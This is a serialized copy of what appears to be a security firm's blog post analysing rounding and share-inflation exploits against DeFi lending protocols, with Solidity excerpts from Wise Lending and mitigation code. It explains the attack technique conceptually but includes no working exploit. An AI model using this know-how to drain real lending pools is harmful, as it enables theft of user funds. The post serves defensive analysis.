[{"data":1,"prerenderedAt":163798},["ShallowReactive",2],{"blog-/blog/2024-01-18-rounding-bugs":3,"featured-blog-posts":1248},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":12,"date":14,"isFeatured":15,"onBlogPage":15,"body":16,"_type":1242,"_id":1243,"_source":1244,"_file":1245,"_stem":1246,"_extension":1247},"/blog/2024-01-18-rounding-bugs","blog",false,"","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[11],"robert",{"src":13},"/posts/rounding-bugs/cover.png","2024-01-18",true,{"type":17,"children":18,"toc":1231},"root",[19,28,62,67,82,87,93,98,103,108,113,127,139,159,179,184,189,207,213,218,225,239,252,257,263,277,282,304,578,583,588,601,851,861,866,872,877,882,916,921,933,939,944,958,1093,1107,1183,1188,1199,1204,1209,1215,1220,1225],{"type":20,"tag":21,"props":22,"children":24},"element","h2",{"id":23},"introduction",[25],{"type":26,"value":27},"text","Introduction",{"type":20,"tag":29,"props":30,"children":31},"p",{},[32,34,43,45,52,54,60],{"type":26,"value":33},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":20,"tag":35,"props":36,"children":40},"a",{"href":37,"rel":38},"https://neodyme.io/de/blog/lending_disclosure",[39],"nofollow",[41],{"type":26,"value":42},"fast",{"type":26,"value":44},", ",{"type":20,"tag":35,"props":46,"children":49},{"href":47,"rel":48},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[39],[50],{"type":26,"value":51},"cheap",{"type":26,"value":53}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":20,"tag":55,"props":56,"children":57},"em",{},[58],{"type":26,"value":59},"Most people haven't considered what happens when shares are worth a lot",{"type":26,"value":61},".",{"type":20,"tag":29,"props":63,"children":64},{},[65],{"type":26,"value":66},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":20,"tag":68,"props":69,"children":70},"ol",{},[71,77],{"type":20,"tag":72,"props":73,"children":74},"li",{},[75],{"type":26,"value":76},"Inflate share value (token to share conversion rate)",{"type":20,"tag":72,"props":78,"children":79},{},[80],{"type":26,"value":81},"Exploit rounding bug",{"type":20,"tag":29,"props":83,"children":84},{},[85],{"type":26,"value":86},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":20,"tag":21,"props":88,"children":90},{"id":89},"model",[91],{"type":26,"value":92},"Model",{"type":20,"tag":29,"props":94,"children":95},{},[96],{"type":26,"value":97},"Before we dive in, there's some helpful background information we'll share first.",{"type":20,"tag":29,"props":99,"children":100},{},[101],{"type":26,"value":102},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":20,"tag":29,"props":104,"children":105},{},[106],{"type":26,"value":107},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":20,"tag":29,"props":109,"children":110},{},[111],{"type":26,"value":112},"This question is more complex than it may appear. Let's walk through an example.",{"type":20,"tag":29,"props":114,"children":115},{},[116,118,125],{"type":26,"value":117},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":20,"tag":119,"props":120,"children":122},"code",{"className":121},[],[123],{"type":26,"value":124},"1000:1000",{"type":26,"value":126}," (1000 tokens to 1000 shares).",{"type":20,"tag":29,"props":128,"children":129},{},[130,132,138],{"type":26,"value":131},"After accruing fees, the pool gains one token for a new ratio of ",{"type":20,"tag":119,"props":133,"children":135},{"className":134},[],[136],{"type":26,"value":137},"1001:1000",{"type":26,"value":61},{"type":20,"tag":29,"props":140,"children":141},{},[142,144,150,152,157],{"type":26,"value":143},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":20,"tag":119,"props":145,"children":147},{"className":146},[],[148],{"type":26,"value":149},"1001/1000*999 = 999.999",{"type":26,"value":151},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":20,"tag":55,"props":153,"children":154},{},[155],{"type":26,"value":156},"down",{"type":26,"value":158}," against the user.",{"type":20,"tag":29,"props":160,"children":161},{},[162,164,170,172,178],{"type":26,"value":163},"If we give the user 999 tokens, the new pool state is ",{"type":20,"tag":119,"props":165,"children":167},{"className":166},[],[168],{"type":26,"value":169},"2:1",{"type":26,"value":171},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":20,"tag":119,"props":173,"children":175},{"className":174},[],[176],{"type":26,"value":177},"3:1",{"type":26,"value":61},{"type":20,"tag":29,"props":180,"children":181},{},[182],{"type":26,"value":183},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":20,"tag":29,"props":185,"children":186},{},[187],{"type":26,"value":188},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":20,"tag":68,"props":190,"children":191},{},[192,197,202],{"type":20,"tag":72,"props":193,"children":194},{},[195],{"type":26,"value":196},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":20,"tag":72,"props":198,"children":199},{},[200],{"type":26,"value":201},"When you withdraw, are you withdrawing shares or tokens?",{"type":20,"tag":72,"props":203,"children":204},{},[205],{"type":26,"value":206},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":20,"tag":21,"props":208,"children":210},{"id":209},"decisions",[211],{"type":26,"value":212},"Decisions",{"type":20,"tag":29,"props":214,"children":215},{},[216],{"type":26,"value":217},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":20,"tag":219,"props":220,"children":222},"h3",{"id":221},"radiant-capital",[223],{"type":26,"value":224},"Radiant Capital",{"type":20,"tag":29,"props":226,"children":227},{},[228,230,237],{"type":26,"value":229},"Radiant Capital was ",{"type":20,"tag":35,"props":231,"children":234},{"href":232,"rel":233},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[39],[235],{"type":26,"value":236},"hacked on Jan 2nd",{"type":26,"value":238}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":20,"tag":29,"props":240,"children":241},{},[242,244,251],{"type":26,"value":243},"The exploit is relatively straightforward and ",{"type":20,"tag":35,"props":245,"children":248},{"href":246,"rel":247},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[39],[249],{"type":26,"value":250},"has already been covered previously",{"type":26,"value":61},{"type":20,"tag":29,"props":253,"children":254},{},[255],{"type":26,"value":256},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":20,"tag":219,"props":258,"children":260},{"id":259},"wise-lending",[261],{"type":26,"value":262},"Wise Lending",{"type":20,"tag":29,"props":264,"children":265},{},[266,268,275],{"type":26,"value":267},"Wise Lending was ",{"type":20,"tag":35,"props":269,"children":272},{"href":270,"rel":271},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[39],[273],{"type":26,"value":274},"hacked on January 13th",{"type":26,"value":276}," for just under $460,000.",{"type":20,"tag":29,"props":278,"children":279},{},[280],{"type":26,"value":281},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":20,"tag":29,"props":283,"children":284},{},[285,287,294,296,303],{"type":26,"value":286},"This is ",{"type":20,"tag":35,"props":288,"children":291},{"href":289,"rel":290},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[39],[292],{"type":26,"value":293},"the code responsible",{"type":26,"value":295}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":20,"tag":35,"props":297,"children":300},{"href":298,"rel":299},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[39],[301],{"type":26,"value":302},"no way to atomically self-bankrupt",{"type":26,"value":61},{"type":20,"tag":305,"props":306,"children":310},"pre",{"className":307,"code":308,"language":309,"meta":7,"style":7},"language-solidity shiki shiki-themes slack-dark","uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n","solidity",[311],{"type":20,"tag":119,"props":312,"children":313},{"__ignoreMap":7},[314,354,363,372,381,405,419,428,451,484,497,511,519,550,569],{"type":20,"tag":315,"props":316,"children":319},"span",{"class":317,"line":318},"line",1,[320,326,332,338,343,349],{"type":20,"tag":315,"props":321,"children":323},{"style":322},"--shiki-default:#4EC9B0",[324],{"type":26,"value":325},"uint256",{"type":20,"tag":315,"props":327,"children":329},{"style":328},"--shiki-default:#E6E6E6",[330],{"type":26,"value":331}," withdrawValue ",{"type":20,"tag":315,"props":333,"children":335},{"style":334},"--shiki-default:#D4D4D4",[336],{"type":26,"value":337},"=",{"type":20,"tag":315,"props":339,"children":340},{"style":328},[341],{"type":26,"value":342}," WISE_ORACLE.",{"type":20,"tag":315,"props":344,"children":346},{"style":345},"--shiki-default:#DCDCAA",[347],{"type":26,"value":348},"getTokensInETH",{"type":20,"tag":315,"props":350,"children":351},{"style":328},[352],{"type":26,"value":353},"(\n",{"type":20,"tag":315,"props":355,"children":357},{"class":317,"line":356},2,[358],{"type":20,"tag":315,"props":359,"children":360},{"style":328},[361],{"type":26,"value":362}," _poolToken,\n",{"type":20,"tag":315,"props":364,"children":366},{"class":317,"line":365},3,[367],{"type":20,"tag":315,"props":368,"children":369},{"style":328},[370],{"type":26,"value":371}," _amount\n",{"type":20,"tag":315,"props":373,"children":375},{"class":317,"line":374},4,[376],{"type":20,"tag":315,"props":377,"children":378},{"style":328},[379],{"type":26,"value":380},")\n",{"type":20,"tag":315,"props":382,"children":384},{"class":317,"line":383},5,[385,390,395,400],{"type":20,"tag":315,"props":386,"children":387},{"style":334},[388],{"type":26,"value":389}," *",{"type":20,"tag":315,"props":391,"children":392},{"style":328},[393],{"type":26,"value":394}," WISE_LENDING.",{"type":20,"tag":315,"props":396,"children":397},{"style":345},[398],{"type":26,"value":399},"lendingPoolData",{"type":20,"tag":315,"props":401,"children":402},{"style":328},[403],{"type":26,"value":404},"(_poolToken).collateralFactor\n",{"type":20,"tag":315,"props":406,"children":408},{"class":317,"line":407},6,[409,414],{"type":20,"tag":315,"props":410,"children":411},{"style":334},[412],{"type":26,"value":413}," /",{"type":20,"tag":315,"props":415,"children":416},{"style":328},[417],{"type":26,"value":418}," PRECISION_FACTOR_E18;\n",{"type":20,"tag":315,"props":420,"children":422},{"class":317,"line":421},7,[423],{"type":20,"tag":315,"props":424,"children":425},{"emptyLinePlaceholder":15},[426],{"type":26,"value":427},"\n",{"type":20,"tag":315,"props":429,"children":431},{"class":317,"line":430},8,[432,437,442,446],{"type":20,"tag":315,"props":433,"children":434},{"style":322},[435],{"type":26,"value":436},"bool",{"type":20,"tag":315,"props":438,"children":439},{"style":328},[440],{"type":26,"value":441}," state ",{"type":20,"tag":315,"props":443,"children":444},{"style":334},[445],{"type":26,"value":337},{"type":20,"tag":315,"props":447,"children":448},{"style":328},[449],{"type":26,"value":450}," borrowPercentageCap\n",{"type":20,"tag":315,"props":452,"children":454},{"class":317,"line":453},9,[455,459,464,469,474,479],{"type":20,"tag":315,"props":456,"children":457},{"style":334},[458],{"type":26,"value":389},{"type":20,"tag":315,"props":460,"children":461},{"style":328},[462],{"type":26,"value":463}," (",{"type":20,"tag":315,"props":465,"children":466},{"style":345},[467],{"type":26,"value":468},"overallETHCollateralsWeighted",{"type":20,"tag":315,"props":470,"children":471},{"style":328},[472],{"type":26,"value":473},"(_nftId) ",{"type":20,"tag":315,"props":475,"children":476},{"style":334},[477],{"type":26,"value":478},"-",{"type":20,"tag":315,"props":480,"children":481},{"style":328},[482],{"type":26,"value":483}," withdrawValue)\n",{"type":20,"tag":315,"props":485,"children":487},{"class":317,"line":486},10,[488,492],{"type":20,"tag":315,"props":489,"children":490},{"style":334},[491],{"type":26,"value":413},{"type":20,"tag":315,"props":493,"children":494},{"style":328},[495],{"type":26,"value":496}," PRECISION_FACTOR_E18\n",{"type":20,"tag":315,"props":498,"children":500},{"class":317,"line":499},11,[501,506],{"type":20,"tag":315,"props":502,"children":503},{"style":334},[504],{"type":26,"value":505}," \u003C",{"type":20,"tag":315,"props":507,"children":508},{"style":328},[509],{"type":26,"value":510}," borrowAmount;\n",{"type":20,"tag":315,"props":512,"children":514},{"class":317,"line":513},12,[515],{"type":20,"tag":315,"props":516,"children":517},{"emptyLinePlaceholder":15},[518],{"type":26,"value":427},{"type":20,"tag":315,"props":520,"children":522},{"class":317,"line":521},13,[523,529,534,539,545],{"type":20,"tag":315,"props":524,"children":526},{"style":525},"--shiki-default:#C586C0",[527],{"type":26,"value":528},"if",{"type":20,"tag":315,"props":530,"children":531},{"style":328},[532],{"type":26,"value":533}," (state ",{"type":20,"tag":315,"props":535,"children":536},{"style":334},[537],{"type":26,"value":538},"==",{"type":20,"tag":315,"props":540,"children":542},{"style":541},"--shiki-default:#569CD6",[543],{"type":26,"value":544}," true",{"type":20,"tag":315,"props":546,"children":547},{"style":328},[548],{"type":26,"value":549},") {\n",{"type":20,"tag":315,"props":551,"children":553},{"class":317,"line":552},14,[554,559,564],{"type":20,"tag":315,"props":555,"children":556},{"style":525},[557],{"type":26,"value":558}," revert",{"type":20,"tag":315,"props":560,"children":561},{"style":345},[562],{"type":26,"value":563}," ResultsInBadDebt",{"type":20,"tag":315,"props":565,"children":566},{"style":328},[567],{"type":26,"value":568},"();\n",{"type":20,"tag":315,"props":570,"children":572},{"class":317,"line":571},15,[573],{"type":20,"tag":315,"props":574,"children":575},{"style":328},[576],{"type":26,"value":577},"}\n",{"type":20,"tag":29,"props":579,"children":580},{},[581],{"type":26,"value":582},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":20,"tag":29,"props":584,"children":585},{},[586],{"type":26,"value":587},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":20,"tag":29,"props":589,"children":590},{},[591,593,599],{"type":26,"value":592},"And indeed, ",{"type":20,"tag":35,"props":594,"children":597},{"href":595,"rel":596},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[39],[598],{"type":26,"value":262},{"type":26,"value":600}," rounds up the share value.",{"type":20,"tag":305,"props":602,"children":604},{"className":307,"code":603,"language":309,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[605],{"type":20,"tag":119,"props":606,"children":607},{"__ignoreMap":7},[608,625,644,660,673,680,688,696,716,724,746,769,792,823,844],{"type":20,"tag":315,"props":609,"children":610},{"class":317,"line":318},[611,616,621],{"type":20,"tag":315,"props":612,"children":613},{"style":541},[614],{"type":26,"value":615},"function",{"type":20,"tag":315,"props":617,"children":618},{"style":345},[619],{"type":26,"value":620}," _calculateShares",{"type":20,"tag":315,"props":622,"children":623},{"style":328},[624],{"type":26,"value":353},{"type":20,"tag":315,"props":626,"children":627},{"class":317,"line":356},[628,633,639],{"type":20,"tag":315,"props":629,"children":630},{"style":322},[631],{"type":26,"value":632}," uint256",{"type":20,"tag":315,"props":634,"children":636},{"style":635},"--shiki-default:#9CDCFE",[637],{"type":26,"value":638}," _product",{"type":20,"tag":315,"props":640,"children":641},{"style":328},[642],{"type":26,"value":643},",\n",{"type":20,"tag":315,"props":645,"children":646},{"class":317,"line":365},[647,651,656],{"type":20,"tag":315,"props":648,"children":649},{"style":322},[650],{"type":26,"value":632},{"type":20,"tag":315,"props":652,"children":653},{"style":635},[654],{"type":26,"value":655}," _pseudo",{"type":20,"tag":315,"props":657,"children":658},{"style":328},[659],{"type":26,"value":643},{"type":20,"tag":315,"props":661,"children":662},{"class":317,"line":374},[663,668],{"type":20,"tag":315,"props":664,"children":665},{"style":322},[666],{"type":26,"value":667}," bool",{"type":20,"tag":315,"props":669,"children":670},{"style":635},[671],{"type":26,"value":672}," _maxSharePrice\n",{"type":20,"tag":315,"props":674,"children":675},{"class":317,"line":383},[676],{"type":20,"tag":315,"props":677,"children":678},{"style":328},[679],{"type":26,"value":380},{"type":20,"tag":315,"props":681,"children":682},{"class":317,"line":407},[683],{"type":20,"tag":315,"props":684,"children":685},{"style":541},[686],{"type":26,"value":687}," private\n",{"type":20,"tag":315,"props":689,"children":690},{"class":317,"line":421},[691],{"type":20,"tag":315,"props":692,"children":693},{"style":541},[694],{"type":26,"value":695}," pure\n",{"type":20,"tag":315,"props":697,"children":698},{"class":317,"line":430},[699,704,708,712],{"type":20,"tag":315,"props":700,"children":701},{"style":525},[702],{"type":26,"value":703}," returns",{"type":20,"tag":315,"props":705,"children":706},{"style":328},[707],{"type":26,"value":463},{"type":20,"tag":315,"props":709,"children":710},{"style":322},[711],{"type":26,"value":325},{"type":20,"tag":315,"props":713,"children":714},{"style":328},[715],{"type":26,"value":380},{"type":20,"tag":315,"props":717,"children":718},{"class":317,"line":453},[719],{"type":20,"tag":315,"props":720,"children":721},{"style":328},[722],{"type":26,"value":723},"{\n",{"type":20,"tag":315,"props":725,"children":726},{"class":317,"line":486},[727,732,737,741],{"type":20,"tag":315,"props":728,"children":729},{"style":525},[730],{"type":26,"value":731}," return",{"type":20,"tag":315,"props":733,"children":734},{"style":328},[735],{"type":26,"value":736}," _maxSharePrice ",{"type":20,"tag":315,"props":738,"children":739},{"style":334},[740],{"type":26,"value":538},{"type":20,"tag":315,"props":742,"children":743},{"style":541},[744],{"type":26,"value":745}," true\n",{"type":20,"tag":315,"props":747,"children":748},{"class":317,"line":499},[749,754,759,763],{"type":20,"tag":315,"props":750,"children":751},{"style":334},[752],{"type":26,"value":753}," ?",{"type":20,"tag":315,"props":755,"children":756},{"style":328},[757],{"type":26,"value":758}," _product % _pseudo ",{"type":20,"tag":315,"props":760,"children":761},{"style":334},[762],{"type":26,"value":538},{"type":20,"tag":315,"props":764,"children":766},{"style":765},"--shiki-default:#B5CEA8",[767],{"type":26,"value":768}," 0\n",{"type":20,"tag":315,"props":770,"children":771},{"class":317,"line":513},[772,777,782,787],{"type":20,"tag":315,"props":773,"children":774},{"style":334},[775],{"type":26,"value":776}," ?",{"type":20,"tag":315,"props":778,"children":779},{"style":328},[780],{"type":26,"value":781}," _product ",{"type":20,"tag":315,"props":783,"children":784},{"style":334},[785],{"type":26,"value":786},"/",{"type":20,"tag":315,"props":788,"children":789},{"style":328},[790],{"type":26,"value":791}," _pseudo\n",{"type":20,"tag":315,"props":793,"children":794},{"class":317,"line":521},[795,800,804,808,813,818],{"type":20,"tag":315,"props":796,"children":797},{"style":334},[798],{"type":26,"value":799}," :",{"type":20,"tag":315,"props":801,"children":802},{"style":328},[803],{"type":26,"value":781},{"type":20,"tag":315,"props":805,"children":806},{"style":334},[807],{"type":26,"value":786},{"type":20,"tag":315,"props":809,"children":810},{"style":328},[811],{"type":26,"value":812}," _pseudo ",{"type":20,"tag":315,"props":814,"children":815},{"style":334},[816],{"type":26,"value":817},"+",{"type":20,"tag":315,"props":819,"children":820},{"style":765},[821],{"type":26,"value":822}," 1\n",{"type":20,"tag":315,"props":824,"children":825},{"class":317,"line":552},[826,831,835,839],{"type":20,"tag":315,"props":827,"children":828},{"style":334},[829],{"type":26,"value":830}," :",{"type":20,"tag":315,"props":832,"children":833},{"style":328},[834],{"type":26,"value":781},{"type":20,"tag":315,"props":836,"children":837},{"style":334},[838],{"type":26,"value":786},{"type":20,"tag":315,"props":840,"children":841},{"style":328},[842],{"type":26,"value":843}," _pseudo;\n",{"type":20,"tag":315,"props":845,"children":846},{"class":317,"line":571},[847],{"type":20,"tag":315,"props":848,"children":849},{"style":328},[850],{"type":26,"value":577},{"type":20,"tag":29,"props":852,"children":853},{},[854,859],{"type":20,"tag":55,"props":855,"children":856},{},[857],{"type":26,"value":858},"Regardless of which way the share rounding occurs, this is a bug",{"type":26,"value":860},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":20,"tag":29,"props":862,"children":863},{},[864],{"type":26,"value":865},"This is a really tricky invariant to reason about!",{"type":20,"tag":21,"props":867,"children":869},{"id":868},"root-cause",[870],{"type":26,"value":871},"Root Cause",{"type":20,"tag":29,"props":873,"children":874},{},[875],{"type":26,"value":876},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":20,"tag":29,"props":878,"children":879},{},[880],{"type":26,"value":881},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":20,"tag":305,"props":883,"children":885},{"className":307,"code":884,"language":309,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[886],{"type":20,"tag":119,"props":887,"children":888},{"__ignoreMap":7},[889],{"type":20,"tag":315,"props":890,"children":891},{"class":317,"line":318},[892,897,902,907,911],{"type":20,"tag":315,"props":893,"children":894},{"style":328},[895],{"type":26,"value":896},"totalDepositShares ",{"type":20,"tag":315,"props":898,"children":899},{"style":334},[900],{"type":26,"value":901},"*",{"type":20,"tag":315,"props":903,"children":904},{"style":328},[905],{"type":26,"value":906}," _amount ",{"type":20,"tag":315,"props":908,"children":909},{"style":334},[910],{"type":26,"value":786},{"type":20,"tag":315,"props":912,"children":913},{"style":328},[914],{"type":26,"value":915}," pseudoTotalPool\n",{"type":20,"tag":29,"props":917,"children":918},{},[919],{"type":26,"value":920},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":20,"tag":29,"props":922,"children":923},{},[924,926,931],{"type":26,"value":925},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":20,"tag":55,"props":927,"children":928},{},[929],{"type":26,"value":930},"every",{"type":26,"value":932}," integer division?",{"type":20,"tag":21,"props":934,"children":936},{"id":935},"mitigations",[937],{"type":26,"value":938},"Mitigations",{"type":20,"tag":29,"props":940,"children":941},{},[942],{"type":26,"value":943},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":20,"tag":29,"props":945,"children":946},{},[947,949,956],{"type":26,"value":948},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":20,"tag":35,"props":950,"children":953},{"href":951,"rel":952},"https://twitter.com/danielvf/status/1746306320553152615",[39],[954],{"type":26,"value":955},"@danielvf notes",{"type":26,"value":957},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":20,"tag":305,"props":959,"children":961},{"className":307,"code":960,"language":309,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[962],{"type":20,"tag":119,"props":963,"children":964},{"__ignoreMap":7},[965,990,1037,1075],{"type":20,"tag":315,"props":966,"children":967},{"class":317,"line":318},[968,972,977,981,986],{"type":20,"tag":315,"props":969,"children":970},{"style":525},[971],{"type":26,"value":528},{"type":20,"tag":315,"props":973,"children":974},{"style":328},[975],{"type":26,"value":976}," (_totalSupply ",{"type":20,"tag":315,"props":978,"children":979},{"style":334},[980],{"type":26,"value":538},{"type":20,"tag":315,"props":982,"children":983},{"style":765},[984],{"type":26,"value":985}," 0",{"type":20,"tag":315,"props":987,"children":988},{"style":328},[989],{"type":26,"value":549},{"type":20,"tag":315,"props":991,"children":992},{"class":317,"line":356},[993,998,1002,1007,1012,1017,1022,1027,1032],{"type":20,"tag":315,"props":994,"children":995},{"style":328},[996],{"type":26,"value":997}," liquidity ",{"type":20,"tag":315,"props":999,"children":1000},{"style":334},[1001],{"type":26,"value":337},{"type":20,"tag":315,"props":1003,"children":1004},{"style":328},[1005],{"type":26,"value":1006}," Math.",{"type":20,"tag":315,"props":1008,"children":1009},{"style":345},[1010],{"type":26,"value":1011},"sqrt",{"type":20,"tag":315,"props":1013,"children":1014},{"style":328},[1015],{"type":26,"value":1016},"(amount0.",{"type":20,"tag":315,"props":1018,"children":1019},{"style":345},[1020],{"type":26,"value":1021},"mul",{"type":20,"tag":315,"props":1023,"children":1024},{"style":328},[1025],{"type":26,"value":1026},"(amount1)).",{"type":20,"tag":315,"props":1028,"children":1029},{"style":345},[1030],{"type":26,"value":1031},"sub",{"type":20,"tag":315,"props":1033,"children":1034},{"style":328},[1035],{"type":26,"value":1036},"(MINIMUM_LIQUIDITY);\n",{"type":20,"tag":315,"props":1038,"children":1039},{"class":317,"line":365},[1040,1045,1050,1055,1059,1064,1069],{"type":20,"tag":315,"props":1041,"children":1042},{"style":345},[1043],{"type":26,"value":1044}," _mint",{"type":20,"tag":315,"props":1046,"children":1047},{"style":328},[1048],{"type":26,"value":1049},"(",{"type":20,"tag":315,"props":1051,"children":1052},{"style":322},[1053],{"type":26,"value":1054},"address",{"type":20,"tag":315,"props":1056,"children":1057},{"style":328},[1058],{"type":26,"value":1049},{"type":20,"tag":315,"props":1060,"children":1061},{"style":765},[1062],{"type":26,"value":1063},"0",{"type":20,"tag":315,"props":1065,"children":1066},{"style":328},[1067],{"type":26,"value":1068},"), MINIMUM_LIQUIDITY); ",{"type":20,"tag":315,"props":1070,"children":1072},{"style":1071},"--shiki-default:#6A9955",[1073],{"type":26,"value":1074},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":20,"tag":315,"props":1076,"children":1077},{"class":317,"line":374},[1078,1083,1088],{"type":20,"tag":315,"props":1079,"children":1080},{"style":328},[1081],{"type":26,"value":1082},"} ",{"type":20,"tag":315,"props":1084,"children":1085},{"style":525},[1086],{"type":26,"value":1087},"else",{"type":20,"tag":315,"props":1089,"children":1090},{"style":328},[1091],{"type":26,"value":1092}," {\n",{"type":20,"tag":29,"props":1094,"children":1095},{},[1096,1098,1105],{"type":26,"value":1097},"Alternatively, ",{"type":20,"tag":35,"props":1099,"children":1102},{"href":1100,"rel":1101},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[39],[1103],{"type":26,"value":1104},"storing the conversion rate separately",{"type":26,"value":1106}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":20,"tag":305,"props":1108,"children":1110},{"className":307,"code":1109,"language":309,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[1111],{"type":20,"tag":119,"props":1112,"children":1113},{"__ignoreMap":7},[1114,1149],{"type":20,"tag":315,"props":1115,"children":1116},{"class":317,"line":318},[1117,1122,1126,1131,1135,1140,1144],{"type":20,"tag":315,"props":1118,"children":1119},{"style":328},[1120],{"type":26,"value":1121},"accrualIndices.borrowed ",{"type":20,"tag":315,"props":1123,"children":1124},{"style":334},[1125],{"type":26,"value":337},{"type":20,"tag":315,"props":1127,"children":1128},{"style":328},[1129],{"type":26,"value":1130}," accrualIndices.borrowed ",{"type":20,"tag":315,"props":1132,"children":1133},{"style":334},[1134],{"type":26,"value":901},{"type":20,"tag":315,"props":1136,"children":1137},{"style":328},[1138],{"type":26,"value":1139}," borrowInterestFactor ",{"type":20,"tag":315,"props":1141,"children":1142},{"style":334},[1143],{"type":26,"value":786},{"type":20,"tag":315,"props":1145,"children":1146},{"style":328},[1147],{"type":26,"value":1148}," precision;\n",{"type":20,"tag":315,"props":1150,"children":1151},{"class":317,"line":356},[1152,1157,1161,1166,1170,1175,1179],{"type":20,"tag":315,"props":1153,"children":1154},{"style":328},[1155],{"type":26,"value":1156},"accrualIndices.deposited ",{"type":20,"tag":315,"props":1158,"children":1159},{"style":334},[1160],{"type":26,"value":337},{"type":20,"tag":315,"props":1162,"children":1163},{"style":328},[1164],{"type":26,"value":1165}," accrualIndices.deposited ",{"type":20,"tag":315,"props":1167,"children":1168},{"style":334},[1169],{"type":26,"value":901},{"type":20,"tag":315,"props":1171,"children":1172},{"style":328},[1173],{"type":26,"value":1174}," depositInterestFactor ",{"type":20,"tag":315,"props":1176,"children":1177},{"style":334},[1178],{"type":26,"value":786},{"type":20,"tag":315,"props":1180,"children":1181},{"style":328},[1182],{"type":26,"value":1148},{"type":20,"tag":29,"props":1184,"children":1185},{},[1186],{"type":26,"value":1187},"We also want to note some general takeaways:",{"type":20,"tag":29,"props":1189,"children":1190},{},[1191,1193,1198],{"type":26,"value":1192},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":20,"tag":55,"props":1194,"children":1195},{},[1196],{"type":26,"value":1197},"apply the state changes and check the 